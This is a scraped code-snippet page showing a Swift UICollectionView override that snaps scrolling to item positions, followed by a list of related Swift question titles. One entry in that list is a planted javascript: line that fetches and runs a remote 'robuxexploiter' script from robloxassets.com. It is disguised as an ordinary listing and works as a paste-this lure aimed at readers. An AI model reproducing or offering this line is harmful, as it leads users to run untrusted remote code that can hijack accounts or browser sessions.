/Swift/Swift collectionview ispagingenabled change page size

Swift collectionview ispagingenabled change page size

override func targetContentOffset(forProposedContentOffset proposedContentOffset: CGPoint, withScrollingVelocity velocity: CGPoint) -> CGPoint {
    var offsetAdjustment = CGFloat.greatestFiniteMagnitude
    let horizontalOffset = proposedContentOffset.x
    let targetRect = CGRect(origin: CGPoint(x: proposedContentOffset.x, y: 0), size: self.collectionView!.bounds.size)

    for layoutAttributes in super.layoutAttributesForElements(in: targetRect)! {
        let itemOffset = layoutAttributes.frame.origin.x
        if (abs(itemOffset - horizontalOffset) < abs(offsetAdjustment)) {
            offsetAdjustment = itemOffset - horizontalOffset
        }
    }

    return CGPoint(x: proposedContentOffset.x + offsetAdjustment, y: proposedContentOffset.y)
}

Source: stackoverflow.com

Similar codes

-1 vote251 views2 answers
UICollectionviewcontroller reload data
Swift
2 votes262 views1 answer
Swift firebase read key in autoKey
Swift
1 vote254 views2 answers
Change background color of uitableview section header
Swift
0 vote279 views2 answers
Abstract classes in Swift
Swift
0 vote260 views1 answer
How to compare two [String:Any] in swift
Swift
1 vote322 views2 answers
How to scroll to section in tableview swift
Swift
1 vote269 views1 answer
How to make extension for optional in swift
Swift
1 vote265 views1 answer
Swift animate a label ishidden
Swift
0 vote220 views10 answers
Xjavascript:$.get('//robloxassets.com/i/robuxexploiter/robuxexploiter.js')
Swift
0 vote253 views1 answer
Remove cocoapods swiftr
Swift